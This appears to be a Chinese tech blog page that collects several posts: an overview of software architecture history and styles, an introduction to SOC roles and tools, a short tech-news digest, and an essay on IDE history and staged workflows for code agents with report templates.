本文简单回顾了软件架构的演进历史，并梳理了几种常见的架构风格。

软件架构演进史

软件架构并不是一开始就作为一门方法论存在的，其本质是软件规模不断扩大后被倒逼出来的结果。

软件危机

1968 年，北约在德国召开的软件工程会议把当时行业里普遍存在的问题集中揭示了出来：项目超期、超预算、质量不稳定、维护困难、复杂度失控。这些问题后来被统称为“软件危机”^[1]。

当时的很多系统还不需要今天意义上的完整架构方法，大家更关注的是算法、数据结构和把功能先做出来。但随着系统规模扩大，工程师很快发现，真正让项目失控的往往不是某个函数写错了，而是整体结构没有被认真设计。

也正是在这种背景下，模块化、信息隐藏、分层、关注点分离这些思想开始变得越来越重要。软件设计开始从“怎么写代码”逐渐走向“怎么组织系统”。

单体架构与代码分层

在较长一段时间里，软件系统的主流形态其实就是单体应用。所有功能放在一个系统里，围绕一套代码、一套部署物、一套数据库展开。这种方式在业务简单、团队规模不大时非常高效。

为了管理不断膨胀的复杂度，开发者逐渐引入分层结构，例如表现层、业务层、数据访问层，这是软件工程从混乱走向秩序的一次重要进步。

部署分层

进入 1980 年代到 1990 年代，企业信息系统和网络应用快速发展，软件不再只是单机程序，而是越来越多地以 Client/Server 形式运行。客户端负责交互，服务器负责数据和业务处理^[2]。

随后，三层架构进一步流行起来。界面、业务逻辑、数据库被拆到不同层甚至不同机器上，系统开始具备更明确的部署边界和扩展边界。这一阶段的软件架构，重点是把“功能组织”进一步演进成“逻辑分层 + 物理分布”^[3]。

面向服务架构（SOA）

到了 2000 年代，企业系统集成需求越来越强，不同业务系统之间需要互通、复用和编排。SOA 因此兴起^[4]。

SOA 的核心目标，是把能力抽象成服务，让不同系统可以通过统一协议协作。它解决的是大型企业内部多个系统之间的整合问题，所以经常伴随 ESB、Web Service、集中治理这类配套机制出现。

这一时期典型的软件形态，是大型企业的 ERP、CRM、HR、财务、供应链系统通过 SOAP / WSDL 接入 ESB，运行在 Java EE 或 .NET 应用服务器（WebLogic、WebSphere、JBoss）上，XML 几乎承担了所有数据交换格式，BPEL 用来描述跨服务流程，整套体系强调契约先行、集中治理。

也正是在这个时期，Roy Fielding 在 2000 年的博士论文里提出了 REST 架构风格^[5]。它选择了一条更轻量的路：直接复用 HTTP 语义、用 JSON 替代 XML、面向资源而不是面向接口，被视为对 SOAP/WS-* 重型体系的一种替代。随着 Web 2.0、移动端和前后端分离的兴起，REST 逐步取代 SOAP 成为公共 API 的事实标准，也为后来的微服务铺好了通信路径。

微服务

再往后，互联网业务、持续交付、云平台和容器化技术逐渐成熟，架构目标开始从“复用服务”转向“让系统可以更快演进”。这就是微服务兴起的背景^[6]。

微服务继承了 SOA 的服务化思想，但更强调：

• 服务围绕业务能力拆分
• 每个服务独立部署、独立扩缩容
• 使用轻量通信机制

它更适合变化快、团队多、发布频繁的系统，但也把分布式复杂度带了进来。因此它不是简单地“替代”单体或 SOA，而是在新的工程环境下形成的一种取舍。

前后端分离

差不多和微服务同期，浏览器侧也发生了一次大变化。Angular（2010）、React（2013）、Vue（2014）等 SPA 框架陆续成熟，前端有了真正完整的工程体系——组件化、状态管理、构建工具、路由都齐了。”前端”开始作为独立项目存在，部署成静态资源（HTML / JS / CSS）发布到 CDN，后端则收敛为纯 API 服务，两边只通过 HTTP + JSON 交互。

这其实是”部署分层”在 Web 时代的延续：把原本由服务端承担的 UI 渲染彻底交还给客户端。它和后端微服务化是天然搭档——前端独立部署、后端拆成多个服务，整个系统的边界变得更清晰。

云原生

近些年，软件架构又继续向云原生方向演进。容器、Kubernetes、DevOps、可观测性、服务网格等技术，让系统能自动部署、自动恢复、按需扩缩^[7]。

与此同时，事件驱动架构也越来越常见。很多系统不再要求所有动作都同步串行完成，而是通过事件总线、消息队列和异步处理来提高解耦程度、吞吐能力和业务响应速度。

常见架构风格

架构风格描述了系统的组织方式——构件如何划分、如何连接、如何协作。

微服务架构

微服务的核心思想，是把一个大型系统拆成多个小型自治服务。每个服务围绕一块相对独立的业务能力构建，独立开发、独立部署、独立扩缩容，通过轻量通信机制协作。

VS 单体架构

单体架构通常把所有功能放在一个进程里，开发初期效率很高，部署也简单。但随着业务变大，代码、构建、发布、协作和故障影响范围会一起膨胀。

微服务的优势在于：

• 可以围绕业务能力拆分职责，降低单个服务的复杂度
• 支持独立部署和独立扩缩容，热点模块可以单独处理
• 更适合多人协作，不同团队可以并行维护不同服务
• 技术选型更灵活，不同服务可以根据场景使用不同技术栈
• 故障隔离能力更强，单点问题不一定拖垮整个系统

拥有这些优势的同时也付出了代价：

• 本地调用变成网络调用，必须面对超时、重试、熔断、幂等和序列化问题
• 运维复杂度显著上升，需要处理注册发现、配置中心、链路追踪、监控告警和容器编排
• 数据一致性更难保证，传统 ACID 思路往往不再适用
• 测试和排障难度增加，很多问题只能在集成环境或真实流量下暴露

所以微服务是一种用复杂度换扩展性的选择。系统还很小的时候，过早微服务往往是负收益。

几种常见的微服务组织方式

聚合器模式

客户端请求先进入 API 网关，再由聚合器统一调用多个后端服务，把结果组装后一次性返回给前端。这种模式常见于首页、控制台、用户画像这类需要拼装多份数据的场景。

flowchart LR    Client[客户端] --> Gateway[API 网关]    Gateway --> Aggregator[聚合器服务]    Aggregator --> A[微服务 A]    Aggregator --> B[微服务 B]    Aggregator --> C[微服务 C]

它的优点是接口聚合清晰，前端不用感知多个服务的细节；缺点是聚合器很容易变成新的中心节点，一旦职责失控，就会演变成“另一个单体”。

链式调用模式

请求进入系统后，由一个服务继续调用下一个服务，逐步形成调用链。这种方式在流程型业务里很常见，比如订单、支付、库存、物流一层层向后推进。

flowchart LR    Client[客户端] --> Gateway[API 网关]    Gateway --> A[微服务 A]    A --> B[微服务 B]    B --> C[微服务 C]

它的好处是流程表达自然，职责也比较直观；但调用链一长，延迟、失败传播和排障成本都会快速上升。一个节点变慢可能会拖住整条链。

数据共享模式

多个微服务共同读写同一个数据库。它在很多微服务的改造初期很常见，因为实现快、迁移成本低，也容易维持数据一致性。

flowchart LR    A[微服务 A] --> DB[(共享数据库)]    B[微服务 B] --> DB    C[微服务 C] --> DB

这种模式的结构性问题很明显：数据库模式一改，多个服务都会受影响。

异步消息模式

服务之间不直接同步调用，而是通过消息队列解耦。一方负责发送事件或消息，另一方异步消费。

flowchart LR    A[微服务 A] --> MQ[消息队列
Kafka / RabbitMQ / RocketMQ]    MQ --> B[微服务 B]

这种模式非常适合跨系统解耦，但也会带来新的工程问题：消息重复、乱序、积压、重试和最终一致性。

分层架构

分层架构是最常见、也最容易落地的一种结构方式。它把系统按职责分成若干层，每层只处理自己负责的事情，并尽量只和相邻层交互。

很多业务系统即便外层用了微服务，单个服务内部仍然会采用分层架构，因为它足够稳定，也便于团队协作。

传统分层通常可以简化为三层：

这种结构的优点很明确：

• 结构清晰，容易理解
• 职责边界明确，适合大多数 CRUD 和中后台系统
• 修改影响范围相对可控，便于新人接手

它的问题也同样典型：

• 简单逻辑也可能被迫层层透传，样板代码偏多
• 如果设计不到位，每一层都只是在机械转发，实际没有承担清晰职责
• 业务复杂后，所谓“业务层”容易无限膨胀，最后变成巨型 Service

分层架构不是落后，而是基础。很多架构风格说到底，都是在分层的基础上继续细化职责边界。

DDD 分层：当业务复杂到不能只靠 Service 硬扛

当系统规则很多、状态变化复杂、术语容易混乱时，传统“Controller + Service + DAO”往往会开始失控。业务规则会不断堆进 Service，最后形成一批难读、难测、难复用的流程脚本。

DDD（领域驱动设计）试图解决的正是这个问题。它强调让代码结构贴近业务模型，把真正核心的业务规则沉淀到领域层，而不是全部塞进应用服务里。

DDD 常见的分层方式如下：

传统写法里，业务规则往往直接塞进 Service：

1
2
3
4
5
6
7

class OrderService {
    void placeOrder(Order order) {
        if (order.getAmount() <= 0) throw new IllegalArgumentException();
        order.setStatus("CREATED");
        orderDao.save(order);
    }
}

DDD 的思路则是把“订单如何下单”这类规则放回领域对象本身，让应用层只负责组织流程：

1
2
3
4
5
6
7
8
9
10
11
12
13

class OrderApplicationService {
    void placeOrder(Order order) {
        order.place();
        repository.save(order);
    }
}

class Order {
    void place() {
        if (amount <= 0) throw new IllegalArgumentException();
        this.status = Status.CREATED;
    }
}

这样做的价值在于：

• 代码结构更贴近业务语义，复杂规则不容易散落
• 团队可以围绕统一领域语言协作，减少“同一个概念多种叫法”
• 领域层尽量不依赖数据库和框架，替换基础设施的成本更低

当然，DDD 的学习成本和建模成本高，如果业务本身并不复杂，上 DDD 会把简单问题复杂化。

事件驱动架构

事件驱动架构（EDA）的核心不是“函数互相调用”，而是“构件围绕事件协作”。某个动作发生后，系统发布一个事件，其他感兴趣的模块再决定是否订阅和处理。

flowchart LR    Producer[事件产生方] -->|发布事件| Bus[事件总线 / 事件管理机制]    Bus -->|通知处理| ConsumerA[处理器 A]    Bus -->|通知处理| ConsumerB[处理器 B]    Bus -->|通知处理| ConsumerC[处理器 C]

这种模式在 GUI 编程、消息系统、业务通知、审计日志、异步任务和微服务协作里都非常常见。和传统调用返回模型相比，它最大的特点是发布方不需要知道接收方是谁，也不需要等待所有处理过程完成。

它的优势主要体现在：

• 松耦合，新增处理逻辑通常不需要改动事件源
• 扩展性强，很适合一对多通知场景
• 天然适合异步化和并发处理
• 某些横切能力，比如审计、埋点、通知，可以更自然地挂接到业务流程上

但事件驱动的问题也很典型：

• 流程不再线性可见，调用链和时序关系更难追踪
• 数据传递和事件定义需要更严格的约束
• 执行顺序可能不稳定，容易引入竞态和重复消费问题
• 一旦缺少完善的日志、追踪和监控，排障体验会非常差

所以事件驱动很适合作为“解耦机制”，但不应该被神化。系统里哪些流程适合同步调用，哪些适合转成事件，通常需要结合一致性要求和时效要求来判断。

结语

真正成熟的系统，通常也不会只使用一种风格。更常见的是：外层是微服务，服务内部是分层架构，某些模块使用 DDD，跨服务协作再配合事件驱动。这种组合是工程上的常态，让系统在功能、维护性和扩展性之间取得平衡。

SOC（Security Operations Center），即安全运营中心，常在影视作品中被想象成一间摆满大屏的机房，但其本质是一套持续运转的安全能力：围绕告警、日志、资产与威胁情报，对组织进行长期监控、分析与响应，以便尽早发现入侵、判断影响，并把事故控制在可承受范围内。

常见模式

SOC 没有唯一标准形态。组织规模、预算和合规压力不同，落地方式也会不同。常见模式大致有以下几种：

• 完全自建型：由企业自己组建和维护团队，自主性最高，但人力、排班和工具成本也最高。这种模式常见于大型企业、金融机构、电信运营商，以及对数据和安全控制权要求较高的政府部门。
• 协同管理型：由内部团队和托管安全服务商共同运营，企业保留关键决策权，同时把部分监控与运营工作外包出去。这种模式常见于已有一定内部团队，但还不足以独立支撑完整的 SOC 运营的中大型企业。
• 整体外包型：由第三方安全服务商负责大部分甚至全部日常监控与运营工作，企业内部只保留必要的对接、审批和处置职责。这种模式常见于预算有限、团队尚未成型，或希望快速补齐 SOC 能力的中小企业。

三根支柱

一个 SOC 能不能稳定运转，关键看三样东西能否真正配合起来：人员、流程和技术。人员负责判断和处置，流程负责把协作标准化，技术平台负责提供对资产和安全事件的可见性，并提升分析与处置效率。SOC 的问题通常是这三者没有真正接上。

角色分工

SOC 的岗位分工通常比较清楚，常见角色包括：

• 安全分析师（赛博保安）：负责盯告警、做分级、查原因，并推动后续处置。
• 事件响应人员：更聚焦具体安全事件本身，负责初步研判、遏制影响、展开调查，并协助系统恢复。
• 威胁排查人员：主动在网络和主机中搜寻潜伏威胁，尤其关注那些能绕过传统检测规则的高级攻击。
• 安全工程师：负责搭建并维护 SOC 所依赖的安全基础设施，例如打通 SIEM、SOAR 与其他安全产品之间的集成。
• SOC 经理：负责预算、排班、策略和跨团队协作，处理的是整体运营问题，而不是一线技术细节。

常用平台与能力

SOC 的日常工作离不开几类核心平台：SIEM 负责发现问题，日志管理负责横向排查，EDR 负责深入终端，SOAR 负责串联流程，威胁情报则提供外部参考。换句话说，它们共同构成了分析师从“看到异常”到“查清问题”的工具链。下面按分析师最常接触的顺序展开。

不过在实际产品里，这几类能力的边界并没有那么整齐。现在很多主流 SIEM 平台，已经把日志管理、威胁情报、自动化响应，甚至部分 EDR / XDR 能力做成了原生模块，或至少做成了深度集成的套件。

代表性方案

以下是国内外比较常见的方案，截图均来自各产品官网公开页面。

国外方案

Splunk Enterprise Security

• 官网：https://www.splunk.com/en_us/products/enterprise-security.html
• 老牌 SIEM / 安全运营产品，企业里出镜率很高。

告警列表 告警详情 事件时间线 威胁情报

IBM QRadar SIEM

• 官网：https://www.ibm.com/products/qradar-siem
• 传统 SOC 场景里很常见，很多人一提 SIEM 就会想到它。

告警列表 告警详情 资产详情 事件列表 事件搜索 搜索管理

Microsoft Sentinel

• 官网：https://www.microsoft.com/en-us/security/business/siem-and-xdr/microsoft-sentinel
• 云原生 SIEM，和 Azure 体系结合得比较紧。

国内方案

奇安信 NGSOC

• 官网：https://www.qianxin.com/product/detail/pid/34
• 全称是态势感知与安全运营平台，更偏国内常见的“安全运营平台 / 态势感知平台”命名，但包含日志采集、关联分析、威胁发现与运营处置等典型 SIEM 能力。

启明星辰态势感知平台

• 官网：https://www.venustech.com.cn/new_type/tsgzpt/
• 面向全网安全监测与运营的综合平台，强调资产视角、态势展示和攻击关联分析。

SIEM

SIEM（Security Information and Event Management）可以理解成安全日志与事件的汇聚分析平台。它会持续收集环境中的日志，再通过规则、过滤器和关联分析，把可疑行为变成告警。比如某个 Windows 账户在 10 秒内连续输错 20 次密码，这通常已经超出“记错密码”的范围，SIEM 就可以按规则把它标记出来。

对安全分析师来说，SIEM 往往就是工作的起点。分析师平时最常接触的不是规则开发本身，而是规则产出的告警，再结合 EDR、日志平台、威胁情报等信息判断它到底是真实威胁，还是误报。误报在 SOC 里很常见，例如有人搜索了带 union 关键字的正常 URL，却被规则误判成 SQL 注入尝试；这类情况如果能及时反馈给规则维护人员，后续告警质量通常会明显提高。

日志管理

日志管理的核心价值，是把代理、系统、防火墙、邮件、EDR 等不同来源的日志统一汇集到一个地方，方便分析师用一次查询横跨多类日志源做排查。对 SOC 分析师来说，它最常见的用途就是围绕某个可疑对象做检索，例如恶意域名、可疑 IP、文件哈希或通信目标，快速确认是否还有其他主机与之发生过关联。换句话说，SIEM 负责把问题抛出来，日志管理则更像调查阶段的放大镜，用来补全细节、扩大战果，并发现告警之外可能被漏掉的关联活动。

EDR

EDR（终端检测与响应）是 SOC 分析师排查主机问题时最常用的工具之一。它会持续采集终端上的进程、文件、网络连接等行为数据，帮助分析师从单台主机的视角还原攻击过程，并在需要时直接连到终端做进一步调查。除了查看设备详情、进程列表和连接记录，EDR 还支持按 IOC 在全网终端中检索，例如文件哈希、文件名、进程名或 IP，从而快速判断影响范围。更重要的是，EDR 通常具备隔离能力：当主机确认失陷后，可以先将其与内外网隔离，阻止攻击者继续横向移动，同时保留它与 EDR 控制端的通信，方便分析师继续取证和处置。相较于日志管理的“横向搜集”，EDR 更像是把视角压到单台主机内部去看清到底发生了什么。

SOAR

SOAR（安全编排、自动化与响应）可以理解成把各类安全工具串起来的中枢平台。它的价值不在于单独发现威胁，而在于把查询、联动和处置流程自动化，例如对 SIEM 告警里的 IP 自动查信誉、对文件哈希自动做检索、把可疑样本送进沙箱，或者按预设步骤推动调查。对分析师来说，SOAR 一方面能节省重复操作时间，另一方面也能通过 playbook 把调查流程标准化，减少不同成员处理方式不一致的问题。简单说，前面的平台负责“看见”和“查明”，SOAR 负责把这些步骤真正串起来，提升整个 SOC 的响应效率。

威胁情报

威胁情报源可以理解成第三方持续提供的恶意样本哈希、C2 域名、恶意 IP、URL 等情报数据，目的是让 SOC 团队尽快知道外部正在流行什么威胁，并把这些信息带回调查现场。对分析师来说，最常见的用法就是拿手上的可疑对象去查，例如文件哈希、域名或 IP，看它是否曾在恶意活动中出现过；常见的免费来源包括 VirusTotal 和 Talos Intelligence。不过情报命中与否都不能直接替代分析本身：一个样本没有命中情报源，不代表它就是干净的；同样，一个 IP 过去曾被用于恶意活动，也不代表它现在仍然恶意，因为云主机和公网 IP 可能早已换了主人。威胁情报更像调查判断的参考系，而不是最终结论。

结语

如果把 SOC 看成一支长期值守的防御力量，那么模式决定它如何落地，人员、流程和技术决定它能否稳定运转，岗位分工决定它如何协同，而 SIEM、日志管理、EDR、SOAR 与威胁情报这些平台，则决定它在真正出事时能不能看清问题、查透影响，并及时做出处置。

Linux 7.1 RC2 发布

5月4日，Linux 7.1 RC2 发布^[1]。Linus Torvalds 特别指出：本轮补丁中，KVM 虚拟化模块测试代码的变更占比异常偏高。这并不是因为 KVM 突然大改，而是开发者对测试代码做了大规模重命名和整理，使其更符合内核编码规范。

Torvalds 认为，这让本次 RC 看起来“体量偏大、风格反常”。更值得注意的是，他把这种补丁数量的膨胀与 AI 开发工具联系了起来：在 AI 辅助编程普及之后，开发者更容易批量生成重构、重命名、格式统一和测试补全这类改动，汇总到版本更新后，就会明显推高补丁数量和代码变更规模。Torvalds 还提到，这种现象在 Linux 7.0 周期里就已经开始出现。某种程度上，这也说明 AI 的影响已经不止停留在应用层开发，连 Linux 内核这样的底层项目，也开始受到 AI 对开发节奏和代码产出的影响。

除这类自测试相关改动外，本次更新还修复了多项显卡、网络与存储问题，包括 AMD 和英特尔显卡驱动中的内存泄漏、缓冲区溢出与电源管理回退，以及 NVMe、TLS、RAID10、NTFS 和 ICE 驱动栈中的若干缺陷。按照惯例，Linux 内核在正式版发布前通常会每周推出一个 RC（候选版本），从 RC1 一路迭代到 RC7 左右，再视情况进入正式发布；如果后续问题较多，也可能追加 RC8，使正式版顺延一周。照目前节奏看，Linux 7.1 大概率仍会按期推进。

Windows Defender 把 Win11 系统根证书当成木马

根据科技媒体 Bleeping Computer 5月3日报道^[2]，微软 Windows 11 自带杀毒软件 Defender 在近期一次病毒库更新中，误将 Windows 信任存储中的两个合法 DigiCert 根证书识别为木马，并自动隔离甚至删除。DigiCert 是一家数字证书颁发机构（CA），其根证书被系统用作验证网站和软件签名可信性。

网络安全专家 Florian Roth 表示，微软在 4 月 30 日更新病毒库时，原本是为了应对 DigiCert 相关安全事件，防止攻击者在非法获取签名证书后为恶意软件签名。但由于新增检测规则过于宽泛，系统中的两个合法 DigiCert 根证书也被一并误报，部分用户随后出现网站无法打开、应用报错等问题，甚至有人误以为设备中毒而重装系统。

微软随后承认该检测逻辑被错误触发，并表示已在 Security Intelligence 1.449.430.0 版本中修复问题。默认情况下，Defender 会自动安装更新，因此多数用户只需等待病毒库升级即可恢复正常。

豆包将推出付费订阅版

5月4日，苹果应用商店页面显示，字节跳动旗下 AI 助手豆包将在免费版基础上推出付费订阅服务，以覆盖不同层级的使用需求^[3]。现有免费版仍将保留，用于满足日常体验和基础使用场景。

从页面披露的信息看，豆包付费版至少分为三个档位：标准版连续包月 68 元、连续包年 688 元；加强版连续包月 200 元、连续包年 2048 元；专业版连续包月 500 元、连续包年 5088 元。对比当前主流 AI 产品的定价，这一方案已经明显进入中高价位区间，也说明国内通用 AI 助手开始从“拉新免费”逐步转向更明确的分层变现。

Mirax 木马把 Android 手机变成住宅代理节点

安全公司 Cleafy 近日披露，一种名为 Mirax 的新型 Android 木马正在欧洲扩散，并已通过 Meta 广告触达超过 20 万个账号^[4]。受害者会被诱导下载安装伪装成 IPTV、IoT 工具等应用的恶意 APK，木马随后借助辅助功能权限实现远程控制、屏幕监控、覆盖层注入和数据窃取。

Mirax 最危险的一点在于，它不仅是传统意义上的远控木马，还会把感染设备转换成 SOCKS5 住宅代理节点，让攻击者能够借助受害者真实 IP 发起后续操作，绕过地理限制和部分风控机制。手机一旦中招，既可能被直接窃取敏感信息，也可能被顺手征用为黑产基础设施的一部分。

封面图

背景：IDE 简史

IDE 是开发者的工作环境。它将编辑器、编译器、调试器以及各类开发工具整合到一个统一的空间中。

在 IDE 出现之前的远古时期，开发环境是由一个个零散的工具组成。编辑、编译、链接、调试分别发生在不同程序中，开发者需要自己完成拼接。

这一局面在 Turbo Pascal（1983） 出现后发生了改变。Turbo Pascal 将编辑器、编译器和链接器整合为一个整体，面向 Pascal 语言提供端到端的开发体验。通过减少工具切换，显著提升了开发效率。

随后是 Microsoft Visual Studio（1997）。Visual Studio 引入了更完整的调试体系和项目系统，其核心模块 IntelliSense 可以基于语义提供代码补全和提示。这标志着 IDE 开始理解代码结构。

进入 21 世纪，IntelliJ IDEA（2001） 将“代码理解”推进到新的层级。通过全项目索引、精确的重构能力以及跨文件的导航，IDEA 将理解的范围从“当前文件”扩展到了“整个代码库”。

Visual Studio Code（2015） 则选择了不同的方向。VS Code 保持轻核心，将语言理解通过插件机制和LSP协议外包给外部插件。这一步将代码理解能力从 IDE 中解耦了出来，IDE 开始成为一个聚合上下文的平台。

在这一分化路径上，出现了两种截然不同的演进方向。

一条路线以 Cursor（2023） 为代表。Cursor 将语言模型深度嵌入 IDE 的各个环节，从代码生成、重构到调试，IDE 本身开始参与上下文组织，并主导与模型的交互。

另一条路线则以 Zed（2023） 为代表。Zed 保持编辑器的克制定位，将“思考”通过ACP协议外包给外部智能体，将智能体从 IDE 中解耦了出来。

在这种架构下，像 Claude Code（2024） 这样的代码智能体开始脱离 IDE 本体运行，独立承担代码理解、规划与执行的职责，而 IDE 退回到“观察、编辑与呈现”的角色。

今天的代码智能体正是在这一历史背景下出现的。代码智能体的价值，最终取决于它是否能在可控可重复的流程中工作，这也引来了一个新的问题 —— 如何为代码智能体设计一套可工程化的工作流程？

上下文管理

在一场对话中，智能体会维持一个上下文窗口，并且在每次推理时会把该窗口输入到模型中。窗口的长度是有限的，并且会随时间滑动 – 新的输入不断进入，旧的内容会被挤出窗口之外（但在实践中例如系统指示及 MCP 工具的关键上下文会被保护）。模型不会看到窗口外的内容，只基于当前窗口进行生成：

窗口由多种信息共同构成：

• 系统指示，用于定义全局行为与约束
• 用户输入，描述当前任务目标
• 工具调用，工具调用请求以及返回结果，一般为结构化数据
• 智能体输出，对用户任务的答复

在不微调模型的前提下，上下文窗口是模型进行推理的唯一输入来源，直接决定输出的质量。因此，需要有一套明确的管理方法确保模型在一个正确、完整、长度受控且信噪比足够高的上下文窗口下运行。

无管理

这里有一种朴素的做法：自由提问，并祈祷自己在反复询问中接近目标。在这个过程中，上下文完全依赖对话历史线形积累，并且按照笔者本人的经验，对话会在以下几个时刻崩溃：

• 对话长度失控，应用开始卡顿，上下文濒临溢出
• 对话内容失控，智能体反复道歉的同时不断给出离谱答复

失控发生时，一个补救的做法是：丢弃当前会话，重开一个新会话并在最初的提示词里加入更多的约束和指引，希望这一次能回到正轨。这种方法并没有真正解决上下文管理的问题，它只是通过反复重置上下文来掩盖上下文本身缺乏约束的事实。这种方法只适合短任务，对于复杂任务很容易使得对话走向失控。

上下文压缩

一个对上述方法的改进措施是进行上下文压缩：当上下文变得臃肿时，暂停当前对话并让智能体做一个总结：

把当前的对话总结成文档progress.md，明确最终目标、当前采用的方案、已经完成的步骤以及正在解决的问题。

随后，在新的会话开始时输入：

阅读progress.md。

这种方式对上下文进行了提炼，丢弃了大量临时、过程性的信息，包括：

• 多轮代码的修改与回滚
• 工具返回的大段 JSON 数据
• 各种日志

这些信息只在当下是必要的，但不需要长期存在于上下文中。最终的目标是把上下文提炼出稳定、可复用的结构化产物。不过，这种方式仍然是一种事后修正：只有在上下文变得臃肿之后，才通过总结来收拾残局。

子智能体委托

子智能体委托提供了另一种更为前置的管理策略。其核心思想是一些辅助性任务，例如文件搜索、代码理解，中间产生的细节信息并没有必要长期留存在窗口中，后续的推理也只是需要这些任务的最终结果。智能体接受到此类任务时，分裂出一个有独立上下文窗口的子智能体并把任务委托给它，子智能体完成任务后把最终结果返回到主智能体的上下文：

对种做法将这些任务的推理过程从主窗口中剥离了出来，提升了主窗口的信噪比的同时控制了总长度。

阶段化

通过阶段化工作流程，明确划分每个阶段的职责边界、输入与输出，将复杂任务拆解为 调研—规划—实现 三类基础阶段，并在阶段切换处引入人工审查，以避免决策混杂和上下文失控：

这一流程利用了上下文压缩进行阶段间的过渡。高噪声、探索性的工作被隔离在单独的上下文中，并通过子智能体委托完成。

调研

这一阶段的目标是搜集并确认事实，以建立对问题的准确理解，并输出一份调研报告。这一阶段通常涉及大量代码文件的查找、阅读与路径梳理。下文给出一份调研报告模版：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105

# 调研报告：<调研主题>

**日期**：<YYYY-MM-DD>  
**调研人**：<姓名>  
**关联仓库**：<repo>  
**分支**：<branch>  
**关联提交**：<commit hash，可选>

## 一、调研问题

简要描述本次调研要解决的问题，包括：
- 问题背景
- 具体问题
- 期望行为
- 调研目标

> 示例：  
> Issue #XXXX 报告在某场景下出现 A 行为，但系统实际表现为 B，需要明确原因并确定修复位置。

## 二、结论摘要

用 **几条要点** 概括最终结论，包括：
1. 根因是什么  
2. 为什么会发生 
3. 修复是否明确，是否简单  
4. 修复应放在哪一层

## 三、详细分析

### 相关模块

说明涉及到的系统模块、流程或架构层次，例如：
- 解析阶段
- 语义校验阶段
- 运行时阶段
- 配置 / DSL / AST 结构

### 行为分析

逐步说明问题是**在哪一层开始出现的**：

- 哪些输入被接受了
- 哪些校验缺失或未触发
- 哪些数据被忽略 / 丢弃 / 未使用
- 最终导致的行为偏差

### 关键代码路径

列出关键文件、模块或函数，用于后续定位和修复。

```text
<模块路径>:<大致行号>
- 作用说明
- 与问题的关系
````

如有必要，可附少量关键代码片段（非完整实现）。

### 运行分析

说明：

* 哪些数据在运行时被真正使用
* 哪些结果被纳入最终判定
* 哪些结果被计算了但未生效

## 四、修复建议

### 修复位置

说明**最合理的修复层级**。

### 修复思路

用自然语言描述修复策略，例如：

* 增加显式校验
* 拒绝非法用法
* 提供错误信息
* 防止静默故障

如适合，可给出伪代码或逻辑示意。

## 五、架构设计

总结本次调研对整体系统设计的启示，例如：

* 语法与语义分离是否清晰
* 校验职责是否遗漏
* 现有设计是否容易产生静默故障
* 是否符合系统的一贯设计原则

## 六、相关资料

* 关联 Issue / 设计文档
* 过往修改或讨论
* Changelog / TODO / notes

## 七、遗留问题

列出仍需进一步确认的问题，例如：

1. 是否需要补充测试用例？
2. 是否存在类似问题的其他场景？
3. 是否需要同步更新文档或规范？

规划

这一阶段的目标是把之前的理解转化成可执行的操作序列，最终输出一份技术方案。下文给出一份技术方案模版：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145

# <功能 / 缺陷> 实现规划报告

## 一、概述

简要说明**当前存在的问题或缺失的能力**，以及**期望的正确行为**。

## 二、现状分析

描述系统当前的实际行为，以及**问题产生的原因**。

### 关键发现 

* 涉及的核心模块或组件
* 系统目前在哪些位置接受了不合理或无效的配置 / 输入
* 这些配置在后续流程中是如何被忽略、丢失或错误处理的
* 是否存在可参考的类似实现或既有约束模式

## 三、范围约束

明确列出**不会做的事情**，用于约束实现范围，防止需求蔓延。

* 不修改语法或解析规则（如适用）
* 不调整运行时行为或执行逻辑
* 不引入新的功能支持
* 不做破坏性或不兼容的变更

## 四、实现思路

从整体上说明**采用什么方式解决问题**，以及**为什么选择这种方式**。
如有可能，指出本次实现将遵循的既有模式或惯例。

## 五、核心实现

### 阶段目标

说明这一阶段完成后，系统行为将发生的变化。

### 具体改动

#### 1. <模块 / 校验器 / 组件> 增强

**文件路径**：`<path/to/file>`
**改动说明**：

* 新增哪些校验或逻辑判断
* 检查哪些非法或不支持的情况
* 在何处抛出错误或提示
* 错误信息应具备的清晰度和定位能力

```pseudo
遍历相关实体：
  遍历其配置或属性：
    如果命中非法条件：
      生成明确的校验错误并标注精确位置
```

### 成功标准

#### 自动化验证

* [ ] 针对性测试通过
* [ ] 全量测试套件通过
* [ ] 静态检查 / lint 通过

#### 人工验证

* [ ] 非法用法能正确报错
* [ ] 错误信息清晰、可理解
* [ ] 报错位置准确
* [ ] 合法用法不受影响

## 六、回归测试

### 阶段目标

确保新增校验逻辑不会在未来被意外移除或回退。

### 具体改动

#### 新增测试用例

**文件路径**：`<path/to/test/file>`
**改动说明**：

* 构造一个明确的非法示例
* 声明期望的错误信息与位置

```text
// 非法配置示例
// 期望的错误输出与定位说明
```

### 验收标准

#### 自动化验证

* [ ] 测试被自动纳入测试套件
* [ ] 期望输出与实际一致
* [ ] 常规测试执行通过

#### 人工验证

* [ ] 错误信息符合预期
* [ ] 定位信息准确无误

## 七、测试策略

### 单元测试

* 覆盖所有非法场景
* 覆盖不同变体和边界情况

### 集成测试

* 确认无回归问题
* 原有合法行为保持不变

### 人工测试步骤

1. 构造非法配置
2. 执行校验，确认报错
3. 修正配置
4. 再次验证通过

## 八、性能影响评估

说明为什么该改动在性能上是安全的，例如：

* 数据规模预期较小
* 遍历层级有限
* 相较于现有校验逻辑，额外开销可以忽略

## 九、迁移说明

说明是否需要迁移或用户操作：

* 无需迁移（仅新增校验）
* 或说明必要的迁移步骤（如适用）

## 十、参考资料

* 原始问题 / 工单
* 调研记录或分析文档
* 相关实现或相似模式
* 对应测试或文档位置

实现

这一阶段的目标是严格执行已确认的技术方案，按照既定计划逐步落地，并在每个步骤完成后进行对应的验证。

人工审查

